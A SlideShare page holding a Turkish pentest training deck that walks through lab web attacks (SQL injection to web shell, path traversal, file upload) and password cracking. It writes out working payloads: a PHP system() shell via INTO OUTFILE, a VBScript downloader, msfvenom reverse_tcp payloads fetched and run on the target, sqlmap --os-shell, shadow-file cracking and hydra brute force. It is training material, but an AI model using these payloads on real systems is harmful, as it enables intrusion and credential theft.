Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3

1,040 views

Published on

Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3

Published in: Technology
  • Be the first to comment

Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3

  1. 1. blog.btrisk.com @btrisk /btrisktv /btrisk UYGULAMALI SIZMA TESTİ EĞİTİMİ-3
  2. 2. BTRİSK HAKKINDA TANIŞMA Pentest & BT Denetimi ISO27001 Danışmanlık Hizmetleri BG Operasyon Hizmetleri
  3. 3. WEB UYGULAMA AÇIKLIKLARI
  4. 4. İÇERİK • Web Uygulama Açıklıklarının Önemi • Sistem Ele Geçirmeye Yol Açabilecek Web Uygulama Açıklıkları • Sistem Ele Geçirme Saldırı Ağacı • SQL Injection Senaryosu • Dizin Aşım Senaryosu • Dosya Yükleme Senaryosu • Web Saldırılarına Etki Eden Faktörler • SQLMAP Aracının Etkinliği
  5. 5. WEB UYGULAMA AÇIKLIKLARININ ÖNEMİ Web uygulama açıklıkları sadece veri sızması veya suistimale imkan tanımaz. Web uygulamasının eriştiği veriler veya operasyonel kritikliği ne kadar düşük öncelikli olursa olsun barındırabileceği açıklıklar sayesinde üzerinde koştuğu işletim sisteminin ele geçirilmesine imkan tanıyabilir. Bu durumda saldırgan diğer hedeflere daha etkili saldırı yapabilecek bir konuma erişmiş olur. Bu nedenle web uygulamalarının kritikliklerini değerlendirirken mutlaka web uygulamasının ve bu uygulamanın kullandığı veritabanlarının bulunduğu ağ bölümlerinin kritiklikleri de dikkate alınmalıdır.
  6. 6. SİSTEM ELE GEÇİRMEYE YOL AÇABİLECEK WEB UYGULAMA AÇIKLIKLARI İşletim sisteminin ele geçirilmesiyle sonuçlanabilecek web uygulama açıklıkları şunlardır* (rastlanma sıklığına göre sıralanmıştır): • SQL Injection • Dizin Aşım Açıklıkları • File Upload Riskleri • RFI / LFI Açıklıkları (PHP diline özel bir açıklık türü) • (İşletim Sistemi) Command Injection • Kod Injection (genellikle PHP ve Perl dillerinde görülen bir açıklık türü) *Güvenlik alanı daimi bir araştırma alanıdır. Burada bahsetmeyi atladığımız bir web uygulama açıklık türü de pekala sistem ele geçirmek için kullanılabilir. Ayrıca bu açıklıklar bahsettiğimiz şekillerin dışında da kullanılarak işletim sistemi ele geçirme amacıyla kullanılabilir.
  7. 7. SİSTEM ELE GEÇİRME SALDIRI AĞACI İşletim Sistemine Shell veya Terminal Erişimi Dizin Aşım Açıklıkları RFI / LFI File Upload Açıklığı OS Command Injection SQL Injection Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku OS Komutları Çalıştırmamıza İmkan Veren Bir PHP Kodunu Include Et OS Komutları ile Sisteme Payload Yükle SSH, Telnet, VNC Gibi Servislerle Sisteme Doğrudan Eriş Kod Injection Sisteme Yüklenmiş Olan Backdoor Payload'unu Çalıştır SQL Injection ile Sisteme Web Uygulaması Yaz OS Komutları ile Web Uygulaması Yaz Web Uygulaması ile Sisteme Payload Yükle SQL Injection ile OS Komutları Çalıştır Sisteme Web Uygulaması Yükle Veritabanı Fonksiyonalitesiyle Sisteme Payload Yükle
  8. 8. SQL INJECTION SENARYOSU İşletim Sistemine Shell veya Terminal Erişimi Dizin Aşım Açıklıkları RFI / LFI File Upload Açıklığı OS Command Injection SQL Injection Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku OS Komutları Çalıştırmamıza İmkan Veren Bir PHP Kodunu Include Et OS Komutları ile Sisteme Payload Yükle SSH, Telnet, VNC Gibi Servislerle Sisteme Doğrudan Eriş Kod Injection Sisteme Yüklenmiş Olan Backdoor Payload'unu Çalıştır SQL Injection ile Sisteme Web Uygulaması Yaz OS Komutları ile Web Uygulaması Yaz Web Uygulaması ile Sisteme Payload Yükle SQL Injection ile OS Komutları Çalıştır Sisteme Web Uygulaması Yükle Veritabanı Fonksiyonalitesiyle Sisteme Payload Yükle
  9. 9. SQL INJECTION SENARYOSU SQL Injection ile İşletim Sistemi Ele Geçirme Örneği Temel Adımlar SQL injection açıklığının tespiti sırasında veritabanının MySQL olduğunu öğrendik, buna göre; • MySQL'in bize sağladığı batched query yöntemini kullanacağız (injection yaptığımız sorguyu sorunsuz bir syntax ile sonlandırdıktan sonra veritabanı fonksiyonalitesini kullanacak komutumuzu yazacağız) • MySQL'in "SELECT ... INTO OUTFILE ..." özelliğinden faydalanarak bir web uygulaması yazacağız • Bu web uygulaması bizim verdiğimiz komutları işletim sisteminde işletecek • İşletim sistemi komutları ile payload dosyamızı hedef sunucuya yükleyeceğiz • İşletim sistemi komutu ile payload'u çalıştıracağız ve shell'imizi alacağız
  10. 10. SQL INJECTION SENARYOSU [Fatura Detaylarım / Detay Göster] fonksiyonu ("id" parametresi) Uygulamamızın aldığı parametrelerden birisi de Fatura Detaylarım fonksiyonundaki "id" parametresi UYGULAMA ERİŞİMİ İÇİN ! Kullanıcı Kodu: 5550000002 Parola: 1
  11. 11. SQL INJECTION SENARYOSU Bu parametreyi "'" işareti ile değiştirdiğimizde PHP kodu içinde bulunan MySQL API'leri hata üretiyor. Bunun nedeni veritabanına giden SQL cümlesinin yapısını bozmuş olmamız.
  12. 12. SQL INJECTION SENARYOSU SQL cümlesinin yapısını bozmadan kendi istediğimiz işlemleri veritabanı sunucusuna yaptırabilmek için UNION SELECT deyimini kullanıyoruz. Ancak bu deyimi kullanabilmek için iki koşulu yerine getirmemiz gerekiyor: • SELECT edilen alan sayısının bir önceki SELECT deyimi ile aynı olması • SELECT edilen alanların kendi bir önceki SELECT deyimi ile veri uyumsuzluğu bulunmaması
  13. 13. SQL INJECTION SENARYOSU 2 parametre de yeterli olmuyor. Denemeye devam etmeliyiz. Burada SELECT deyiminin yanında numerik sabit değerler kullanmamızın nedeni numerik verilerin string veriler ile uyumlu olması. Ancak tersi söz konusu değil. Bir başka yöntem de NULL sabitinin kullanılması olabilirdi. Bu arada "--" işaretlerinden sonra konan boşluk karakteri MySQL'in bir kuralı olduğu için konuluyor. Ondan sonra gelen bir rakam da bu boşluğun net biçimde görülebilmesi için genellikle kullanılır. MySQL'in comment karakterlerinden birisi de "#" işaretidir. Ancak bunu browser'da kullanırsak browser URL'in burada bittiğini düşünerek iletmiyor. Bu değeri Burp üzerinde Repeater modülünde kullanabilirsiniz.
  14. 14. SQL INJECTION SENARYOSU Kolon sayısının 6 olduğunu hata ortadan kalktığında öğrenmiş olduk.
  15. 15. SQL INJECTION SENARYOSU Slayt'larda görünmemekle birlikte sayfada aşağıda halen hata alan başka bir kod bölümü daha var. Muhtemelen girdiğimiz parametre bir başka sorguda daha kullanılıyor. Bu gariplik SQLMAP gibi araçların kafasını karıştıran etkenlerden birisi olabiliyor.
  16. 16. SQL INJECTION SENARYOSU UNION SELECT 1,2,3,4,5,"<?php System($_REQUEST['cmd']); ?>" INTO OUTFILE 'C:wampwwwcmd.php'-- 2 MySQL'in INTO OUTFILE deyimi sayesinde hedef sunucu üzerinde bir PHP kodu yazabildik. Tabi güvenlik ayarları yükseltilmiş MySQL sunucularında bu mümkün olmayabilir !
  17. 17. SQL INJECTION SENARYOSU Dosyamızın başarı ile oluşup oluşmadığını örnekteki gibi herhangi bir işletim sistemi komutunu "cmd" parametresine yazarak deneyelim. /cmd.php?cmd=ipconfig
  18. 18. SQL INJECTION SENARYOSU Bu tür işlemleri Burp üzerinde Repeater modülü ile de gerçekleştirebilirdik.
  19. 19. SQL INJECTION SENARYOSU Ancak "URL encode as you type" seçeneğini aktif hale getirmeyi unutmayalım. Browser bizim için URL'de girdiğimiz karakterleri URL encode ediyordu. Repeater'da aynı işlemi yapabilmek için bu seçeneği aktif hale getirmeliyiz.
  20. 20. SQL INJECTION SENARYOSU URL Encode edilmiş değişikliğimiz
  21. 21. echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs SQL INJECTION SENARYOSU
  22. 22. SQL INJECTION SENARYOSU wget.vbs script'imizi oluşturacak komutları bir dosyaya kaydedelim
  23. 23. SQL INJECTION SENARYOSU cmd.Php uygulamamız aracılığı ile script'imizi daha kolay oluşturabilmek için Burp'ün Intruder modülünü kullanabiliriz. Burp'te payload satırlarımızın yerleşmesi gereken yeri belirtiyoruz.
  24. 24. SQL INJECTION SENARYOSU Payloads tab'ında göndereceğimiz istekleri dosyadan yükleyebiliriz
  25. 25. SQL INJECTION SENARYOSU
  26. 26. SQL INJECTION SENARYOSU
  27. 27. SQL INJECTION SENARYOSU Uygulama sunucusuna yüklemek üzere bir meterpreter staged payload üretiyoruz. msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.152.129 lport=5555 -f exe -o payload.exe python -m SimpleHTTPServer 80 1 2
  28. 28. cscript wget.vbs http://192.168.152.129/payload.exe payload.exe SQL INJECTION SENARYOSU cscript wget.vbs http://192.168.152.129/payload.exe payload.exe
  29. 29. SQL INJECTION SENARYOSU TCP 5555 portundan dinlemek üzere Reverse TCP Meterpreter payload'umuz için handler'ımızı başlatıyoruz
  30. 30. SQL INJECTION SENARYOSU cmd.php?cmd=payload.exe
  31. 31. SQL INJECTION SENARYOSU payload.exe çalıştığında reverse TCP bağlantımız gerçekleşiyor
  32. 32. SQLMAP KULLANIMI Sqlmap ile SQL injection saldırısını yapabilmek için öncelikle geçerli cookie'leri kullanmamız lazım, çünkü açıklık barındıran sayfamıza geçerli bir oturum cookie'si ile erişebiliyoruz
  33. 33. SQLMAP KULLANIMI sqlmap --url="http://192.168.152.128/master.php?group=fatura&page=FaturaDetaylarim.php&id=7" --cookie="BTRmCookie=353535303030303030323a42757268616e657474696e3a4f7a67656e63; PHPSESSID=NTAwMDAwMDAzMDY5" -p id --os-shell
  34. 34. SQLMAP KULLANIMI
  35. 35. SQL INJECTION SENARYOSU SQL Injection ile Başka Hangi Yöntemlerle İşletim Sistemi Ele Geçirebilirim Diyenler İçin; SQLMAP'in yazarlarından, detaylı bir araştırma makalesi: • http://www.slideshare.net/inquis/advanced-sql-injection-to- operating-system-full-control-whitepaper-4633857
  36. 36. DİZİN AŞIM SENARYOSU İşletim Sistemine Shell veya Terminal Erişimi Dizin Aşım Açıklıkları RFI / LFI File Upload Açıklığı OS Command Injection SQL Injection Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku OS Komutları Çalıştırmamıza İmkan Veren Bir PHP Kodunu Include Et OS Komutları ile Sisteme Payload Yükle SSH, Telnet, VNC Gibi Servislerle Sisteme Doğrudan Eriş Kod Injection Sisteme Yüklenmiş Olan Backdoor Payload'unu Çalıştır SQL Injection ile Sisteme Web Uygulaması Yaz OS Komutları ile Web Uygulaması Yaz Web Uygulaması ile Sisteme Payload Yükle SQL Injection ile OS Komutları Çalıştır Sisteme Web Uygulaması Yükle Veritabanı Fonksiyonalitesiyle Sisteme Payload Yükle
  37. 37. DİZİN AŞIM SENARYOSU Tanımlamalar / Bilgilerim menüsünde PDF linklerine yapılan istekle ilgili fonksiyonda bir dizin aşım açıklığı bulunuyor
  38. 38. DİZİN AŞIM SENARYOSU "filename" parametresine verilen dosya ismi ile üst dizinlerdeki dosyalara erişmek mümkün
  39. 39. DİZİN AŞIM SENARYOSU Repeater modülünde "filename" parametresini düzenleyerek ........Windowswin.ini dosyasının içeriğine erişebildik
  40. 40. DİZİN AŞIM SENARYOSU Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği Temel Adımlar • Öncelikle içinde hassas erişim bilgileri barındırabilecek bir dosyayı tespit etmemiz gerekli • Bunun için kullanabileceğimiz yöntemlerden birisi "nikto" gibi bir aracı kullanarak ilginç olabilecek bir uygulama dosyasının tespiti olabilir • Nikto ile tespit ettiğimiz kod dosyasının içeriğinde veritabanı bağlantı cümlesini gözlemleyeceğiz • Buradaki veritabanı erişim bilgilerini kullanarak ve MySQL veritabanının uzaktan erişilebilmesi sayesinde veritabanına uzaktan bağlanacağız • MySQL'in sağladığı imkanlar sayesinde OS komutları ile sistemi ele geçireceğiz
  41. 41. DİZİN AŞIM SENARYOSU Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği Ön Şartlar Örneğimizde MySQL sunucusuna uzaktan "root" kullanıcısıyla erişim sağlıyoruz. Öntanımlı olarak veritabanı sunucusuna uzaktan "root" erişimi mümkün değildir. Bunun için şu ayarın yapılmış olduğunu varsayıyoruz: GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'btrisk' WITH GRANT OPTION; FLUSH PRIVILEGES;
  42. 42. DİZİN AŞIM SENARYOSU nikto taraması sonucunda web sunucusu üzerinde config.php adlı bir dosyanın bulunduğunu tespit edebildik
  43. 43. DİZİN AŞIM SENARYOSU ........wampwwwconfig.php dosyasına yaptığımız istekte config.php dosyasının içinde web uygulamasının veritabanı erişim bilgilerini gözlemleyebildik
  44. 44. DİZİN AŞIM SENARYOSU "nmap" taramasında sunucu üzerindeki MySQL sunucusuna uzaktan erişebildiğimizi görebiliriz
  45. 45. DİZİN AŞIM SENARYOSU select "test" into outfile "c:wampwwwtest.txt"; mysql --host=192.168.152.128 --user=root --password=btrisk Bu noktadan sonra yazılacak bir web uygulaması aracılığı ile OS komutları çalıştırılabilir ve bir payload yüklenerek sistem ele geçirilebilir.
  46. 46. DİZİN AŞIM SENARYOSU select user,host,password from mysql.user; | root | % | *12E48759FDB4B079E2C807E41B9756AD177719B3 | | markzuckerberg | localhost | *7B8322522948E1C43FA9706BDD4043C0A8BFCD3C | Elde ettiğimiz hash değerlerini daha sonra parola kırma amacıyla kullanacağız
  47. 47. DİZİN AŞIM SENARYOSU MySQL veritabanına SQL injection yapabilmemiz halinde LOAD_FILE fonksiyonu ile de herhangi bir dosyaya erişmemiz mümkün olabilirdi.
  48. 48. DİZİN AŞIM SENARYOSU Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği Diğer Alternatif Hassas Dosyalar Hedef web sunucusu eğer Unix veya Linux işletim sistemine sahip olsaydı, sistemi ele geçirmek amacıyla ilk hedeflerimizden birisi parola hash'lerinin tutulduğu "passwd" veya "shadow" dosyaları olabilirdi. Hedef web uygulaması bir ASP.NET uygulaması olsaydı içinde veritabanı bağlantı cümlelerini de barındırma ihtimali yüksek olan "web.config" dosyası iyi bir hedef olabilirdi. Sunucu üzerinde bulunabilecek yedekleme veya diğer batch işlemler için kullanılan script'ler içlerinde potansiyel olarak veritabanı erişim bilgilerini barındırabilirler. Sunucu üzerindeki log dosyaları erişim bilgileri barındırabilir.
  49. 49. DOSYA YÜKLEME SENARYOSU İşletim Sistemine Shell veya Terminal Erişimi Dizin Aşım Açıklıkları RFI / LFI File Upload Açıklığı OS Command Injection SQL Injection Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku OS Komutları Çalıştırmamıza İmkan Veren Bir PHP Kodunu Include Et OS Komutları ile Sisteme Payload Yükle SSH, Telnet, VNC Gibi Servislerle Sisteme Doğrudan Eriş Kod Injection Sisteme Yüklenmiş Olan Backdoor Payload'unu Çalıştır SQL Injection ile Sisteme Web Uygulaması Yaz OS Komutları ile Web Uygulaması Yaz Web Uygulaması ile Sisteme Payload Yükle SQL Injection ile OS Komutları Çalıştır Sisteme Web Uygulaması Yükle Veritabanı Fonksiyonalitesiyle Sisteme Payload Yükle
  50. 50. DOSYA YÜKLEME SENARYOSU Uygulamamızın profil fotoğrafı yükleme fonksiyonalitesini manipüle ederek web sunucusuna bir payload yükleyeceğiz
  51. 51. DOSYA YÜKLEME SENARYOSU Bir profil fotoğrafı seçtiğimizde giden istekte 2.jpg adlı bir dosya ismi görüyoruz
  52. 52. DOSYA YÜKLEME SENARYOSU Target modülünde bu dosya ismine bir referans olup olmadığını görmek için "Show all" düğmesine tıklayarak "images" türü referansları da görmeye başlayabiliriz
  53. 53. DOSYA YÜKLEME SENARYOSU profile_photo dizini altında 2.jpg dosyasına bir referans görebiliyoruz Eğer profil fotoğrafını güncellersek dosyamızın yerleştirileceği dizinin profile_photo dizini olması muhtemel
  54. 54. DOSYA YÜKLEME SENARYOSU Dosya Yükleme Açıklığı ile İşletim Sistemi Ele Geçirme Örneği Temel Adımlar • Dosya yükleme açıklığı sayesinde istediğimiz web uygulamasını sunucuya yükleyebiliriz. • Bu örnekte Metasploit'in PHP payload oluşturma imkanından faydalanacağız. Bunun için reverse tcp bağlantısı kuracak bir PHP dosyası oluşturacak ve sunucuya bu dosyayı yükleyeceğiz. • Metasploit multi handler aracı ile bağlantıyı beklerken yüklediğimiz uygulamayı çalıştıracağız ve handler bizim için stage 2 payload'u sisteme yükleyecek. • Bu noktadan sonra meterpreter'in gelişmiş imkanları sayesinde web sunucu prosesinin hakları ile sisteme erişeceğiz.
  55. 55. DOSYA YÜKLEME SENARYOSU msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.152.129 LPORT=5555 -e php/base64 -f raw > payload.php PHP payload'unun başına ve sonuna "<?php" ve "?>" tag'lerini koymayı unutmayınız
  56. 56. DOSYA YÜKLEME SENARYOSU Uygulama geliştirici HTML kodu içinde yüklenebilecek dosya türlerini kısıtlamış Ancak bu kısıtı aşmak dosya uzantısını aşmak veya bir resim seçtikten sonra araya girerek dosya içeriğini değiştirmek kadar kolay
  57. 57. DOSYA YÜKLEME SENARYOSU
  58. 58. DOSYA YÜKLEME SENARYOSU Dosya içeriği Dosya adı
  59. 59. DOSYA YÜKLEME SENARYOSU Dosya adını .php uzantılı bir dosya adı ile değiştiriyoruz
  60. 60. DOSYA YÜKLEME SENARYOSU Dosyamız başarılı biçimde yüklendi
  61. 61. DOSYA YÜKLEME SENARYOSU Metasploit handler ile web sunucusundan gelecek olan reverse TCP bağlantıyı beklemeye hazırız
  62. 62. DOSYA YÜKLEME SENARYOSU Php payload'unun shell erişimi malesef stabil değil Bu nedenle bu noktadan sonra meterpreter ile başka bir binary payload yüklenerek daha stabil bir bağlantı sağlanabilir
  63. 63. WEB SALDIRILARINA ETKİ EDEN FAKTÖRLER Ele geçirme yöntemlerine etki eden faktörler SQL injection açıklığı için • Hedef veritabanı nedir? • Veritabanı tek seferde birden fazla SQL komutuna izin verir mi? • Veritabanının OS komutu çalıştırma imkanı var mıdır? • Veritabanının bir dosyaya yazma imkanı var mıdır?
  64. 64. WEB SALDIRILARINA ETKİ EDEN FAKTÖRLER Ele geçirme yöntemlerine etki eden faktörler Payload seçimi, payload yükleme yöntemi seçimi için • Hedef işletim sistemi nedir? • Bu işletim sisteminde öntanımlı olarak bulunan veya sonradan yüklenmiş dosya transfer komut imkanları nelerdir? • İşletim sistemine yönelik olarak nasıl bir payload kullanmayı tercih edeceğiz?
  65. 65. WEB SALDIRILARINA ETKİ EDEN FAKTÖRLER Ele geçirme yöntemlerine etki eden faktörler Erişim bilgileri ele geçirildiğinde • İşletim sistemi üzerinde hangi servisler aktiftir? Uygulama dilinin tespiti • LFI/RFI açıklıklarının analizi için • File upload açıklığının kullanılması için • Kod injection açıklıklarının analizi için
  66. 66. SQLMAP ARACININ ETKİNLİĞİ Sistem – 1 senaryosunda kullandığımız SQLi açıklığını bu defa SQLMAP aracı ile test edelim.
  67. 67. SQLMAP ARACININ ETKİNLİĞİ Öncelikle açıklığın bulunduğu sayfaya tanılanmış bir admin kullanıcısı ile erişebileceğimizi senaryo çalışması sırasında da görmüştük.
  68. 68. SQLMAP ARACININ ETKİNLİĞİ Sayfaya tanılanmış bir kullanıcı olarak erişebilmek için öncelikle daha önce tespit ettiğimiz admin kullanıcı parolasıyla giriş yapacağız. Hedef sayfaya da authenticate olduktan sonra elde ettiğimiz cookie ile erişebileceğiz. Bu cookie'yi elde edebilmek için iletişimimizi bir attack proxy üzerinden geçireceğiz.
  69. 69. SQLMAP ARACININ ETKİNLİĞİ Trafiği incelemek için Burp Suite aracını kullanıyoruz.
  70. 70. SQLMAP ARACININ ETKİNLİĞİ "admin" / "btrisk" erişim bilgileri ile giriş yapalım.
  71. 71. SQLMAP ARACININ ETKİNLİĞİ Authenticate olduktan sonra iletilen isteklerden herhangi birisinden oturum cookie'lerini elde edebiliriz.
  72. 72. SQLMAP ARACININ ETKİNLİĞİ Repeater modülünde "keyword" parametresine tırnak işareti attığımızda SQL sunucu hatasını gözlemleyebiliyoruz.
  73. 73. SQLMAP ARACININ ETKİNLİĞİ Sqlmap'e gerekli cookie parametresi ve hedef daraltmak için injection yapılabilecek hedef parametre ve veritabanı sunucu tipini de veriyoruz.
  74. 74. SQLMAP ARACININ ETKİNLİĞİ SQLMAP bizim açıkça gördüğümüz keyword parametresinin SQLi açıklığına sahip olma durumunu tespit edemiyor.
  75. 75. SQLMAP ARACININ ETKİNLİĞİ SQLMAP neden başarılı olamadı? • Öncelikle "keyword" parametresine bir tırnak işareti ile istek yapıldığında bile veritabanı sunucu hatası gözlenebilmektedir. Bu açıdan SQLMAP beklentinin altında kalmıştır. • POC payload'una baktığımızda injection yapılabilir parametreye "')" şeklinde bir ekleme yapıldığı görülmektedir. Bu tespit çok sayıda deneme veya kaynak kodun gözlenmesi ile mümkün olabilir. Bu açıdan SQLMAP'in UNION SELECT açıklığını tespit edememesi anlaşılabilir. http://[host]/admin/index.php?app=users&ajax=1&action=search &keyword=1') UNION SELECT 1,2,3,4,5,6,7,8,'<? phpinfo(); ?>' INTO OUTFILE '/tmp/.class.php' -- 2
  76. 76. PAROLA KIRMA SALDIRILARI
  77. 77. İÇERİK • Parola Saldırı Türleri • Hashing Algoritması • Salt Yöntemi • Rainbow Tables & Online Crackers • Linux Hash Kırma • Windows Hash Kırma • MySQL Hash Kırma • Çevrimiçi (Online) Parola Kırma
  78. 78. PAROLA SALDIRI TÜRLERİ Parola hash bilgisine sahip olma durumuna göre: • Çevrimdışı (offline) parola saldırıları – Hash var • Çevrimiçi (online) parola saldırıları – Hash yok, uzaktan veya sistem üzerinde dinamik olarak Parola üretme yöntemine göre: • Sözlük (dictionary) saldırıları • Kaba kuvvet (brute force) saldırıları • Hibrit saldırılar (sözlükten türetilmiş parola listesi)
  79. 79. HASHING ALGORİTMASI Hashing tek yönlü (yani üretilen değerden geri dönülemez) bir algoritmadır. İyi bir hash algoritmasının iki temel özelliği olmalıdır: • Düşük çarpışma (collusion) olasılığı, yani aynı hash değerini üretecek farklı bir girdi bulma ihtimalinin düşük olması • Çığ (avalanche) etkisi, yani hash'i hesaplanan verinin herhangi bir yerindeki bir değişikliğin tüm hash değerini etkilemesi
  80. 80. SALT YÖNTEMİ Parola saklamak için hashing yönteminin ilk kullanıldığı yerlerden birisi Unix sistemlerdir. Unix sistemler çok kullanıcılı olup tüm kullanıcıların kullanma ihtiyacı olan komutlar nedeniyle (who gibi) /etc/passwd dosyasına erişme hakkı vardır. Shadow dosya kontrolü henüz yok iken kullanıcılar diğer kullanıcıların parola hash'lerini görebildiklerinden parolası aynı olan kullanıcıların kendi parolalarını bildiklerinden diğer kullanıcıların da parolalarını keşfetme imkanı vardı. Bu problem nedeniyle Unix sistemler üzerinde parola hash'leri hesaplanırken bir de salt (tuz) değeri kullanılır.
  81. 81. RAINBOW TABLES & ONLINE CRACKERS Salt kullanılmayan hash değerleri için önceden hesaplanmış parola hash'lerini kullanarak hızlı parola kırma imkanı bulunmaktadır.
  82. 82. RAINBOW TABLES & ONLINE CRACKERS MD5 NTLM SHA1
  83. 83. LINUX HASH KIRMA Kali bilgisayarımızın kullandığı hash algoritması SHA512 Ayrıca parola hash'inin (daha sonra hash değerini göreceğiz) başındaki "$6" ifadesi many rounds anlamına geliyor Öntanımlı round sayısının ise 5000 olduğunu bu dosyada görebiliyoruz.
  84. 84. LINUX HASH KIRMA Passwd dosyasında kullanı adını ve id bilgisini görüyoruz. Kullanıcı id'si "0" root kullanıcısı olduğu anlamına geliyor. (Unix'te kullanıcı adı önemli değildir, önemli olan kullanıcı id'sidir) Parola alanlarında ise "x" ifadesi geçiyor, çünkü parola hash değerleri shadow dosyasında yer alıyor.
  85. 85. LINUX HASH KIRMA Parola hash değerlerini ise shadow dosyasında görüyoruz. Bu dosyayı root kullanıcısı ve shadow grubu dışındaki kullanıcılar göremezler. "*" ve "!" değerleri hiçbir parola hash'i bu değerlerle eşleşmeyeceği için bu hesaplarla logon olunamaz anlamına gelir.
  86. 86. LINUX HASH KIRMA # unshadow /etc/passwd /etc/shadow > pwdhash.txt "john" parola kırma aracı Unix hash'lerini tek bir dosyada beklediği için "unshadow" aradı ile her iki dosyayı hash içeren passwd dosyası haline dönüştürüyoruz.
  87. 87. LINUX HASH KIRMA # grep -i ankara /usr/share/wordlists/rockyou.txt > dict.txt # awk -F: '{print $1}' /etc/passwd >> dict.txt Yapacağımız çalışmada kaba kuvvet yöntemini kullanabiliriz, ancak bu günler, aylar veya daha uzun sürebilir. Örneğimizde hedef kullanıcıların Ankara'lı olduğu veya Ankara ile ilişkili olduğunu bildiğimizi varsayalım. Bu senaryoya göre büyük bir parola dosyasından içinde "ankara" kelimesi (büyük harf küçük harf duyarsız biçimde) geçen parolaları seçiyoruz. Bir başka yöntem de parola politikasını biliyorsak böyle bir dosyadan belirli uzunluktaki parolaları ayırma yöntemi olabilir (# awk -F: 'length($1)==6' filename.txt gibi) Bu dosyaya ayrıca kullanıcı adlarını ekliyoruz.
  88. 88. LINUX HASH KIRMA # john --wordlist=dict.txt --rules pwdhash.txt John'a bir sözlük verdiğimiz gibi onun --rules özelliğini kullanarak bu sözlükteki kelimeleri dönüştürmesini de istiyoruz. John'un uyguladığı kurallardan birisinin de sözlükteki kelimelerin tersten yazılışı olduğu görülüyor, çünkü bizim sözlüğümüzde kullanıcı adları vardı, ancak "root"un parolasının "toor" olduğunu bulabildi.
  89. 89. WINDOWS HASH KIRMA Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: test:1000:aad3b435b51404eeaad3b435b51404ee:979357191cb4f445b47292af934fd2a7::: Kullanıcı Adı ID LM Hash'i NTLM Hash'i
  90. 90. WINDOWS HASH KIRMA Windows Vista / Windows Server 2008'den itibaren LM hash'leri öntanımlı olarak iptal edilmiştir.LM Hash Algoritması
  91. 91. WINDOWS HASH KIRMA Windows 7'den aldığımız LM Hash'inin her iki parçası da boş Kırılan LM Hash parçaları en fazla 7 karakter ve hepsi büyük harf aad3b435b51404eeaad3b435b51404ee
  92. 92. WINDOWS HASH KIRMA NTLM Hash'i kırmak için hashkiller.co.uk sitesinden faydalanabiliriz.
  93. 93. WINDOWS HASH KIRMA Birinci hash değeri atanmamış bir parola olduğu için bulunamayan Administrator kullanıcı parolası İkinci hash değeri "test" kullanıcısının parolası olan "btrisk" 31d6cfe0d16ae931b73c59d7e0c089c0 979357191cb4f445b47292af934fd2a7
  94. 94. MYSQL HASH KIRMA mysql> select user,host,authentication_string from mysql.user | markzuckerberg | localhost | *7B8322522948E1C43FA9706BDD4043C0A8BFCD3C | | root | % | *12E48759FDB4B079E2C807E41B9756AD177719B3 |
  95. 95. MYSQL HASH KIRMA MySQL bağlantısında elde ettiğimiz bir hash değerini hash-identifier aracı ile incelediğimizde bize SHA1 veya MySQL hash'i olduğunu söylüyor.
  96. 96. MYSQL HASH KIRMA hashkiller.co.uk sitesinin veritabanına göre bu parola "dadada". Bu tür veritabanlarının oluşturulabilmesinin sebebi daha önce de söylediğimiz gibi salt değeri kullanılmamış olması. Aksi takdirde bu veritabanları için gerekli alan ve zaman çok daha fazla olacaktı.
  97. 97. ÇEVRİMİÇİ (ONLINE) PAROLA KIRMA hydra -l root -P dict.txt 192.168.163.140 mysql Çevrimiçi (online) parola saldırıları için kullanılabilecek pek çok araçtan bir tanesi Hydra. Çevrimiçi parola saldırıları parola hash'lerine yönelik saldırılara nazaran çok daha uzun sürdüğü gibi log kayıtlarının oluşmasına ve daha kötüsü hesapların kilitlenmesine ve hizmet kaybına neden olabilir. Bu nedenle dikkatli kullanılmaları gerekmektedir.
  98. 98. ÇEVRİMİÇİ (ONLINE) PAROLA KIRMA Hydra aracının desteklediği protokol ve servisler.
  99. 99. İSTEMCİ TARAFLI SALDIRILAR
